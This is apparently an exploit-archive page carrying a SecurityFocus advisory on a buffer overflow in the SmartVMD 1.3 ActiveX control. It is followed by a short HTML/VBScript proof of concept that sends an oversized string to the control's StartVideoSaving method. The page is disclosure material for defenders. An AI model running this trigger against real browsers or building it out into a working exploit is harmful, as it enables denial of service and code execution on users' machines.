9 lines
No EOL
755 B
Text
9 lines
No EOL
755 B
Text
source: http://www.securityfocus.com/bid/36217/info
|
|
|
|
SmartVMD ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.
|
|
|
|
SmartVMD 1.3 is vulnerable; other versions may also be affected.
|
|
|
|
<object classid='clsid:E3462D53-47A6-11D8-8EF6-DAE89272743C' id='test'></object> <input language=VBScript onclick=aidi() type=button value='test'> <script language='vbscript'> Sub aidi buff = String (9000, "a") test.StartVideoSaving (buff) End Sub </script> |